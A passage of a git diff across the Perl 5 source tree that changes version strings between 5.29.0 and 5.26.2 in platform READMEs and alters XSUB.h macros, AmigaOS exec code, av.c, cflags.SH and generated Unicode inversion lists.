'../Porting/exec-bit.txt'; <> }; @de_exec = grep !$permitted{"cpan/$pkg_dir/$_"}, @de_exec; } diff --git a/Porting/todo.pod b/Porting/todo.pod index 6493d48cc9d1..a623cd6dc6da 100644 --- a/Porting/todo.pod +++ b/Porting/todo.pod @@ -485,7 +485,7 @@ Natively 64-bit systems need neither -Duse64bitint nor -Duse64bitall. On these systems, it might be the default compilation mode, and there is currently no guarantee that passing no use64bitall option to the Configure process will build a 32bit perl. Implementing -Duse32bit* -options would be nice for perl 5.26.0. +options would be nice for perl 5.26.2. =head2 Profile Perl - am I hot or not? @@ -1205,7 +1205,7 @@ L =head1 Big projects Tasks that will get your name mentioned in the description of the "Highlights -of 5.26.0" +of 5.26.2" =head2 make ithreads more robust diff --git a/README.haiku b/README.haiku index 89899aebea8e..9ed7ab566d84 100644 --- a/README.haiku +++ b/README.haiku @@ -22,9 +22,9 @@ The build procedure is completely standard: Make perl executable and create a symlink for libperl: chmod a+x /boot/common/bin/perl - cd /boot/common/lib; ln -s perl5/5.29.0/BePC-haiku/CORE/libperl.so . + cd /boot/common/lib; ln -s perl5/5.26.2/BePC-haiku/CORE/libperl.so . -Replace C<5.29.0> with your respective version of Perl. +Replace C<5.26.2> with your respective version of Perl. =head1 KNOWN PROBLEMS diff --git a/README.macosx b/README.macosx index 2e1826186471..8788ccdcfab6 100644 --- a/README.macosx +++ b/README.macosx @@ -10,9 +10,9 @@ perlmacosx - Perl under Mac OS X This document briefly describes Perl under Mac OS X. - curl -O http://www.cpan.org/src/perl-5.29.0.tar.gz - tar -xzf perl-5.29.0.tar.gz - cd perl-5.29.0 + curl -O http://www.cpan.org/src/perl-5.26.2.tar.gz + tar -xzf perl-5.26.2.tar.gz + cd perl-5.26.2 ./Configure -des -Dprefix=/usr/local/ make make test @@ -20,7 +20,7 @@ This document briefly describes Perl under Mac OS X. =head1 DESCRIPTION -The latest Perl release (5.29.0 as of this writing) builds without changes +The latest Perl release (5.26.2 as of this writing) builds without changes under all versions of Mac OS X from 10.3 "Panther" onwards. In order to build your own version of Perl you will need 'make', diff --git a/README.os2 b/README.os2 index dbf4c8253879..3eaaa275122e 100644 --- a/README.os2 +++ b/README.os2 @@ -619,7 +619,7 @@ C in F, see L">. =item Additional Perl modules - unzip perl_ste.zip -d f:/perllib/lib/site_perl/5.29.0/ + unzip perl_ste.zip -d f:/perllib/lib/site_perl/5.26.2/ Same remark as above applies. Additionally, if this directory is not one of directories on @INC (and @INC is influenced by C), you diff --git a/README.symbian b/README.symbian index cb4a42ff9463..c111f3039180 100644 --- a/README.symbian +++ b/README.symbian @@ -367,7 +367,7 @@ The Symbian port is licensed under the same terms as Perl itself. - The following extensions are missing for various technical reasons: B ByteLoader Devel::DProf Devel::PPPort Encode GDBM_File - IPC::SysV NDBM_File Opcode PerlIO::encoding POSIX + I18N::Langinfo IPC::SysV NDBM_File Opcode PerlIO::encoding POSIX re Safe Sys::Hostname Sys::Syslog threads threads::shared Unicode::Normalize - Using MakeMaker or the Module::* to build and install modules diff --git a/README.synology b/README.synology index b1b9d8811c03..6a0202716473 100644 --- a/README.synology +++ b/README.synology @@ -23,11 +23,11 @@ L That sadly does not (yet) work on QorIQ. At the moment of writing, the -supported architectures are armv5, armv7, mipsel, wl500g, x86_32, and x86_64. -Check L for supported platforms. +supported architectures are armv5, armv7, mipsel, x86_32 and x86_64. -Entware-ng comes with a precompiled 5.24.1 (June 2017) that allowes +Entware-ng comes with a precompiled 5.22.1 (June 2016) that allowes building shared XS code. Note that this installation does B use -a site_perl folder. The available C works. If all required -development packages are installed too, also for XS. +a site_perl folder. =head2 Compiling Perl 5 @@ -267,7 +265,7 @@ the programs are run. =head1 REVISION -June 2017, for Synology DSM 5.1.5022 and DSM 6.1-15101-4. +June 2016, for Synology DSM 5.1.5022 and DSM 6.0.1-7393. =head1 AUTHOR diff --git a/README.vms b/README.vms index a24005044a3f..42cac2542859 100644 --- a/README.vms +++ b/README.vms @@ -142,11 +142,11 @@ You may need to set up a foreign symbol for the unpacking utility of choice. Once you have done so, use a command like the following to unpack the archive: - vmstar -xvf perl-5^.29^.0.tar + vmstar -xvf perl-5^.26^.2.tar Then set default to the top-level source directory like so: - set default [.perl-5^.29^.0] + set default [.perl-5^.26^.2] and proceed with configuration as described in the next section. diff --git a/README.win32 b/README.win32 index 82442227857e..4f901e7e6cbc 100644 --- a/README.win32 +++ b/README.win32 @@ -42,7 +42,6 @@ following compilers on the Intel x86 architecture: Microsoft Visual C++ version 6.0 or later Intel C++ Compiler (experimental) Gcc by mingw.org gcc version 3.4.5 or later - with runtime < 3.21 Gcc by mingw-w64.org gcc version 4.4.3 or later Note that the last two of these are actually competing projects both @@ -160,7 +159,7 @@ using, e.g. (assuming the default installation location was chosen). Perl should now build using the win32/Makefile. You will need to edit that -file to set CCTYPE to one of MSVC90-MSVC141 first. +file to set CCTYPE to one of MSVC90FREE-MSVC141FREE first. =item Microsoft Visual C++ 2005 Express Edition @@ -202,7 +201,7 @@ while the latest versions install into version-specific locations such as Perl should now build using the win32/Makefile. You will need to edit that file to set - CCTYPE = MSVC80 + CCTYPE = MSVC80FREE and to set CCHOME, CCINCDIR and CCLIBDIR as per the environment setup above. @@ -313,22 +312,15 @@ The nmake that comes with the Platform SDK will suffice for building Perl. Make sure you are building within one of the "Build Environment" shells available after you install the Platform SDK from the Start Menu. -=item GCC +=item MinGW release 3 with gcc -Perl can be compiled with gcc from MinGW (version 3.4.5 or later) or from -MinGW64 (version 4.4.3 or later). It can be downloaded here: +Perl can be compiled with gcc from MinGW release 3 and later (using gcc 3.4.5 +and later). It can be downloaded here: L -L You also need dmake. See L above on how to get it. -Note that the MinGW build currently requires a MinGW runtime version earlier -than 3.21 (check __MINGW32_MAJOR_VERSION and __MINGW32_MINOR_VERSION). - -Note also that the C++ mode build currently fails with MinGW 3.4.5 and 4.7.2 -or later, and with MinGW64 64-bit 6.3.0 or later. - =item Intel C++ Compiler Experimental support for using Intel C++ Compiler has been added. Edit @@ -402,7 +394,7 @@ Be sure to read the instructions near the top of the makefiles carefully. Type "dmake" (or "nmake" if you are using that make). This should build everything. Specifically, it will create perl.exe, -perl529.dll at the perl toplevel, and various other extension dll's +perl526.dll at the perl toplevel, and various other extension dll's under the lib\auto directory. If the build fails for any reason, make sure you have done the previous steps correctly. @@ -959,6 +951,6 @@ Win9x support was added in 5.6 (Benjamin Stuhl). Support for 64-bit Windows added in 5.8 (ActiveState Corp). -Last updated: 23 May 2018 +Last updated: 16 June 2017 =cut diff --git a/XSUB.h b/XSUB.h index f637c9186762..e74abae26fdd 100644 --- a/XSUB.h +++ b/XSUB.h @@ -8,8 +8,8 @@ * */ -#ifndef PERL_XSUB_H_ -#define PERL_XSUB_H_ 1 +#ifndef _INC_PERL_XSUB_H +#define _INC_PERL_XSUB_H 1 /* first, some documentation for xsubpp-generated items */ @@ -119,7 +119,7 @@ is a lexical C<$_> in scope. * "STATIC", ie. it exports XSUB symbols. You probably don't want that. */ -#define XSPROTO(name) void name(pTHX_ CV* cv __attribute__unused__) +#define XSPROTO(name) void name(pTHX_ CV* cv) #undef XS #undef XS_EXTERNAL @@ -127,18 +127,24 @@ is a lexical C<$_> in scope. #if defined(__CYGWIN__) && defined(USE_DYNAMIC_LOADING) # define XS_EXTERNAL(name) __declspec(dllexport) XSPROTO(name) # define XS_INTERNAL(name) STATIC XSPROTO(name) -#elif defined(__SYMBIAN32__) +#endif +#if defined(__SYMBIAN32__) # define XS_EXTERNAL(name) EXPORT_C XSPROTO(name) # define XS_INTERNAL(name) EXPORT_C STATIC XSPROTO(name) -#elif defined(__cplusplus) -# define XS_EXTERNAL(name) extern "C" XSPROTO(name) -# define XS_INTERNAL(name) static XSPROTO(name) -#elif defined(HASATTRIBUTE_UNUSED) -# define XS_EXTERNAL(name) void name(pTHX_ CV* cv __attribute__unused__) -# define XS_INTERNAL(name) STATIC void name(pTHX_ CV* cv __attribute__unused__) -#else -# define XS_EXTERNAL(name) XSPROTO(name) -# define XS_INTERNAL(name) STATIC XSPROTO(name) +#endif +#ifndef XS_EXTERNAL +# if defined(HASATTRIBUTE_UNUSED) && !defined(__cplusplus) +# define XS_EXTERNAL(name) void name(pTHX_ CV* cv __attribute__unused__) +# define XS_INTERNAL(name) STATIC void name(pTHX_ CV* cv __attribute__unused__) +# else +# ifdef __cplusplus +# define XS_EXTERNAL(name) extern "C" XSPROTO(name) +# define XS_INTERNAL(name) static XSPROTO(name) +# else +# define XS_EXTERNAL(name) XSPROTO(name) +# define XS_INTERNAL(name) STATIC XSPROTO(name) +# endif +# endif #endif /* We do export xsub symbols by default for the public XS macro. @@ -697,7 +703,7 @@ Rethrows a previously caught exception. See L. # endif /* NO_XSLOCKS */ #endif /* PERL_IMPLICIT_SYS && !PERL_CORE */ -#endif /* PERL_XSUB_H_ */ /* include guard */ +#endif /* _INC_PERL_XSUB_H */ /* include guard */ /* * ex: set ts=8 sts=4 sw=4 et: diff --git a/amigaos4/amigaio.c b/amigaos4/amigaio.c index edc237a033c7..b50dd9b9f52f 100644 --- a/amigaos4/amigaio.c +++ b/amigaos4/amigaio.c @@ -646,7 +646,7 @@ static void S_exec_failed(pTHX_ const char *cmd, int fd, int do_report) static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report) { dVAR; - const char **argv, **a; + const char **a; char *s; char *buf; char *cmd; @@ -656,9 +656,7 @@ static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report) PERL_ARGS_ASSERT_DO_EXEC3; - ENTER; Newx(buf, cmdlen, char); - SAVEFREEPV(buf); cmd = buf; memcpy(cmd, incmd, cmdlen); @@ -670,7 +668,7 @@ static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report) if (*cmd == '.' && isSPACE(cmd[1])) goto doshell; - if (strBEGINs(cmd, "exec") && isSPACE(cmd[4])) + if (strEQs(cmd, "exec") && isSPACE(cmd[4])) goto doshell; s = cmd; @@ -711,16 +709,15 @@ static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report) PERL_FPU_POST_EXEC S_exec_failed(aTHX_ PL_sh_path, fd, do_report); amigaos_post_exec(fd, do_report); - goto leave; + Safefree(buf); + return result; } } - Newx(argv, (s - cmd) / 2 + 2, const char *); - SAVEFREEPV(argv); - cmd = savepvn(cmd, s - cmd); - SAVEFREEPV(cmd); - a = argv; - for (s = cmd; *s;) + Newx(PL_Argv, (s - cmd) / 2 + 2, const char *); + PL_Cmd = savepvn(cmd, s - cmd); + a = PL_Argv; + for (s = PL_Cmd; *s;) { while (isSPACE(*s)) s++; @@ -732,18 +729,22 @@ static I32 S_do_amigaos_exec3(pTHX_ const char *incmd, int fd, int do_report) *s++ = '\0'; } *a = NULL; - if (argv[0]) + if (PL_Argv[0]) { PERL_FPU_PRE_EXEC - result = myexecvp(FALSE, argv[0], EXEC_ARGV_CAST(argv)); + result = myexecvp(FALSE, PL_Argv[0], EXEC_ARGV_CAST(PL_Argv)); PERL_FPU_POST_EXEC - if (errno == ENOEXEC) /* for system V NIH syndrome */ + if (errno == ENOEXEC) + { + /* for system V NIH syndrome */ + do_execfree(); goto doshell; - S_exec_failed(aTHX_ argv[0], fd, do_report); + } + S_exec_failed(aTHX_ PL_Argv[0], fd, do_report); amigaos_post_exec(fd, do_report); } -leave: - LEAVE; + do_execfree(); + Safefree(buf); return result; } @@ -753,47 +754,42 @@ I32 S_do_amigaos_aexec5( dVAR; I32 result = -1; PERL_ARGS_ASSERT_DO_AEXEC5; - ENTER; if (sp > mark) { - const char **argv, **a; + const char **a; const char *tmps = NULL; - Newx(argv, sp - mark + 1, const char *); - SAVEFREEPV(argv); - a = argv; + Newx(PL_Argv, sp - mark + 1, const char *); + a = PL_Argv; while (++mark <= sp) { - if (*mark) { - char *arg = savepv(SvPV_nolen_const(*mark)); - SAVEFREEPV(arg); - *a++ = arg; - } else + if (*mark) + *a++ = SvPV_nolen_const(*mark); + else *a++ = ""; } *a = NULL; - if (really) { - tmps = savepv(SvPV_nolen_const(really)); - SAVEFREEPV(tmps); - } - if ((!really && *argv[0] != '/') || + if (really) + tmps = SvPV_nolen_const(really); + if ((!really && *PL_Argv[0] != '/') || (really && *tmps != '/')) /* will execvp use PATH? */ TAINT_ENV(); /* testing IFS here is overkill, probably */ PERL_FPU_PRE_EXEC if (really && *tmps) { - result = myexecvp(FALSE, tmps, EXEC_ARGV_CAST(argv)); + result = myexecvp(FALSE, tmps, EXEC_ARGV_CAST(PL_Argv)); } else { - result = myexecvp(FALSE, argv[0], EXEC_ARGV_CAST(argv)); + result = myexecvp(FALSE, PL_Argv[0], + EXEC_ARGV_CAST(PL_Argv)); } PERL_FPU_POST_EXEC - S_exec_failed(aTHX_(really ? tmps : argv[0]), fd, do_report); + S_exec_failed(aTHX_(really ? tmps : PL_Argv[0]), fd, do_report); } amigaos_post_exec(fd, do_report); - LEAVE; + do_execfree(); return result; } diff --git a/autodoc.pl b/autodoc.pl index cf82639db39b..2e6a1c3f6317 100644 --- a/autodoc.pl +++ b/autodoc.pl @@ -383,8 +383,6 @@ sub output { # deprecated. my @missing_api = grep $funcflags{$_}{flags} =~ /A/ && $funcflags{$_}{flags} !~ /[MD]/ && !$docs{api}{$_}, keys %funcflags; output('perlapi', <<'_EOB_', $docs{api}, \@missing_api, <<'_EOE_'); -=encoding UTF-8 - =head1 NAME perlapi - autogenerated documentation for the perl public API diff --git a/av.c b/av.c index 918844c3761c..5afae8d4246a 100644 --- a/av.c +++ b/av.c @@ -140,13 +140,17 @@ Perl_av_extend_guts(pTHX_ AV *av, SSize_t key, SSize_t *maxp, SV ***allocp, ? SSize_t_MAX : key + newmax; resize: { +#ifdef PERL_MALLOC_WRAP /* Duplicated in pp_hot.c */ + static const char oom_array_extend[] = + "Out of memory during array extend"; +#endif /* it should really be newmax+1 here, but if newmax * happens to equal SSize_t_MAX, then newmax+1 is * undefined. This means technically we croak one * index lower than we should in theory; in practice * its unlikely the system has SSize_t_MAX/sizeof(SV*) * bytes to spare! */ - MEM_WRAP_CHECK_s(newmax, SV*, "Out of memory during array extend"); + MEM_WRAP_CHECK_1(newmax, SV*, oom_array_extend); } #ifdef STRESS_REALLOC { @@ -172,8 +176,12 @@ Perl_av_extend_guts(pTHX_ AV *av, SSize_t key, SSize_t *maxp, SV ***allocp, else { newmax = key < 3 ? 3 : key; { +#ifdef PERL_MALLOC_WRAP /* Duplicated in pp_hot.c */ + static const char oom_array_extend[] = + "Out of memory during array extend"; +#endif /* see comment above about newmax+1*/ - MEM_WRAP_CHECK_s(newmax, SV*, "Out of memory during array extend"); + MEM_WRAP_CHECK_1(newmax, SV*, oom_array_extend); } Newx(*allocp, newmax+1, SV*); ary = *allocp + 1; @@ -534,7 +542,7 @@ void Perl_av_undef(pTHX_ AV *av) { bool real; - SSize_t orig_ix = PL_tmps_ix; /* silence bogus warning about possible unitialized use */ + SSize_t orig_ix; PERL_ARGS_ASSERT_AV_UNDEF; assert(SvTYPE(av) == SVt_PVAV); @@ -543,8 +551,7 @@ Perl_av_undef(pTHX_ AV *av) if (SvTIED_mg((const SV *)av, PERL_MAGIC_tied)) av_fill(av, -1); - real = cBOOL(AvREAL(av)); - if (real) { + if ((real = cBOOL(AvREAL(av)))) { SSize_t key = AvFILLp(av) + 1; /* avoid av being freed when calling destructors below */ @@ -1007,9 +1014,6 @@ Perl_av_exists(pTHX_ AV *av, SSize_t key) if (key <= AvFILLp(av) && AvARRAY(av)[key]) { - if (SvSMAGICAL(AvARRAY(av)[key]) - && mg_find(AvARRAY(av)[key], PERL_MAGIC_nonelem)) - return FALSE; return TRUE; } else @@ -1052,27 +1056,17 @@ Perl_av_iter_p(pTHX_ AV *av) { PERL_ARGS_ASSERT_AV_ITER_P; assert(SvTYPE(av) == SVt_PVAV); - if (sizeof(IV) == sizeof(SSize_t)) { - return (IV *)&(mg->mg_len); - } else { - if (!mg->mg_ptr) { - IV *temp; - mg->mg_len = IVSIZE; - Newxz(temp, 1, IV); - mg->mg_ptr = (char *) temp; - } - return (IV *)mg->mg_ptr; +#if IVSIZE == I32SIZE + return (IV *)&(mg->mg_len); +#else + if (!mg->mg_ptr) { + IV *temp; + mg->mg_len = IVSIZE; + Newxz(temp, 1, IV); + mg->mg_ptr = (char *) temp; } -} - -SV * -Perl_av_nonelem(pTHX_ AV *av, SSize_t ix) { - SV * const sv = newSV(0); - PERL_ARGS_ASSERT_AV_NONELEM; - if (!av_store(av,ix,sv)) - return sv_2mortal(sv); /* has tie magic */ - sv_magic(sv, NULL, PERL_MAGIC_nonelem, NULL, 0); - return sv; + return (IV *)mg->mg_ptr; +#endif } /* diff --git a/caretx.c b/caretx.c index d758f730def6..67b841879525 100644 --- a/caretx.c +++ b/caretx.c @@ -56,7 +56,8 @@ Perl_set_caret_X(pTHX) { SV *const caret_x = GvSV(tmpgv); #if defined(OS2) sv_setpv(caret_x, os2_execname(aTHX)); -#elif defined(USE_KERN_PROC_PATHNAME) +#else +# ifdef USE_KERN_PROC_PATHNAME size_t size = 0; int mib[4]; mib[0] = CTL_KERN; @@ -76,7 +77,7 @@ Perl_set_caret_X(pTHX) { return; } } -#elif defined(USE_NSGETEXECUTABLEPATH) +# elif defined(USE_NSGETEXECUTABLEPATH) char buf[1]; uint32_t size = sizeof(buf); @@ -95,7 +96,7 @@ Perl_set_caret_X(pTHX) { return; } } -#elif defined(HAS_PROCSELFEXE) +# elif defined(HAS_PROCSELFEXE) char buf[MAXPATHLEN]; SSize_t len = readlink(PROCSELFEXE_PATH, buf, sizeof(buf) - 1); /* NOTE: if the length returned by readlink() is sizeof(buf) - 1, @@ -125,7 +126,7 @@ Perl_set_caret_X(pTHX) { sv_setpvn(caret_x, buf, len); return; } -#elif defined(WIN32) +# elif defined(WIN32) char *ansi; WCHAR widename[MAX_PATH]; GetModuleFileNameW(NULL, widename, sizeof(widename)/sizeof(WCHAR)); @@ -133,7 +134,7 @@ Perl_set_caret_X(pTHX) { sv_setpv(caret_x, ansi); win32_free(ansi); return; -#else +# endif /* Fallback to this: */ sv_setpv(caret_x, PL_origargv[0]); #endif diff --git a/cflags.SH b/cflags.SH index e60742fed11c..3af1e97a38ab 100755 --- a/cflags.SH +++ b/cflags.SH @@ -73,10 +73,18 @@ cat >_cflags.c <<__EOT__ #include /* Just in case the inclusion of perl.h did not * pull in enough system headers, let's try again. */ +#ifdef I_STDLIB #include +#endif +#ifdef I_STDDEF #include +#endif +#ifdef I_STDARG #include +#endif +#ifdef I_LIMITS #include +#endif #ifdef I_DIRENT #include #endif @@ -180,7 +188,6 @@ Intel*) ;; # # Is that you, Intel C++? # *) for opt in -std=c89 -ansi $pedantic \ -Werror=declaration-after-statement \ - -Werror=pointer-arith \ -Wextra -W \ -Wc++-compat -Wwrite-strings do @@ -240,16 +247,6 @@ Intel*) ;; # # Is that you, Intel C++? ;; esac ;; - -Werror=pointer-arith) - # -pedantic* covers -Werror=p-a - case "$warn" in - *-pedantic*) ;; - *) - echo "cflags.SH: Adding $opt." - warn="$warn $opt" - ;; - esac - ;; *) echo "cflags.SH: Adding $opt." warn="$warn $opt" @@ -370,8 +367,7 @@ case "$cc" in ;; esac -for f in -Wdeclaration-after-statement -Werror=declaration-after-statement \ - -Wpointer-arith -Werror=pointer-arith +for f in -Wdeclaration-after-statement -Werror=declaration-after-statement do case "$cppflags" in *"$f"*) @@ -519,6 +515,7 @@ for file do toke) optimize=-O0 ;; esac + # Can we perhaps use $ansi2knr here echo "$cc -c -DPERL_CORE $ccflags $stdflags $optimize $warn $extra" . $TOP/config.sh diff --git a/charclass_invlists.h b/charclass_invlists.h index d0174b2fb0c7..222c90e29fe4 100644 --- a/charclass_invlists.h +++ b/charclass_invlists.h @@ -7,7 +7,7 @@ /* See the generating file for comments */ -#if defined(PERL_IN_UTF8_C) +#if defined(PERL_IN_REGCOMP_C) static const UV Latin1_invlist[] = { 2, /* Number of elements */ @@ -27,905 +27,512 @@ static const UV AboveLatin1_invlist[] = { 0x100 }; -#endif /* defined(PERL_IN_UTF8_C) */ +#endif /* defined(PERL_IN_REGCOMP_C) */ -#if defined(PERL_IN_UTF8_C) +#if 'A' == 65 /* ASCII/Latin1 */ -# if 'A' == 65 /* ASCII/Latin1 */ +#if defined(PERL_IN_PERL_C) -static const UV Case_Folding_invlist[] = { /* for ASCII/Latin1 */ - 1373, /* Number of elements */ +static const UV ASCII_invlist[] = { /* for ASCII/Latin1 */ + 2, /* Number of elements */ 148565664, /* Version and data structure type */ 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x41, - 0x5B, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0xE0, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, + 0x80 +}; + +static const UV Assigned_invlist[] = { /* for ASCII/Latin1 */ + 1276, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x378, + 0x37A, 0x380, - 0x386, - 0x387, - 0x388, + 0x384, 0x38B, 0x38C, 0x38D, 0x38E, - 0x390, - 0x391, 0x3A2, 0x3A3, - 0x3AC, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, + 0x530, 0x531, 0x557, - 0x587, + 0x559, + 0x560, + 0x561, 0x588, - 0x10A0, + 0x589, + 0x58B, + 0x58D, + 0x590, + 0x591, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, + 0x5F5, + 0x600, + 0x61D, + 0x61E, + 0x70E, + 0x70F, + 0x74B, + 0x74D, + 0x7B2, + 0x7C0, + 0x7FB, + 0x800, + 0x82E, + 0x830, + 0x83F, + 0x840, + 0x85C, + 0x85E, + 0x85F, + 0x8A0, + 0x8B5, + 0x8B6, + 0x8BE, + 0x8D4, + 0x984, + 0x985, + 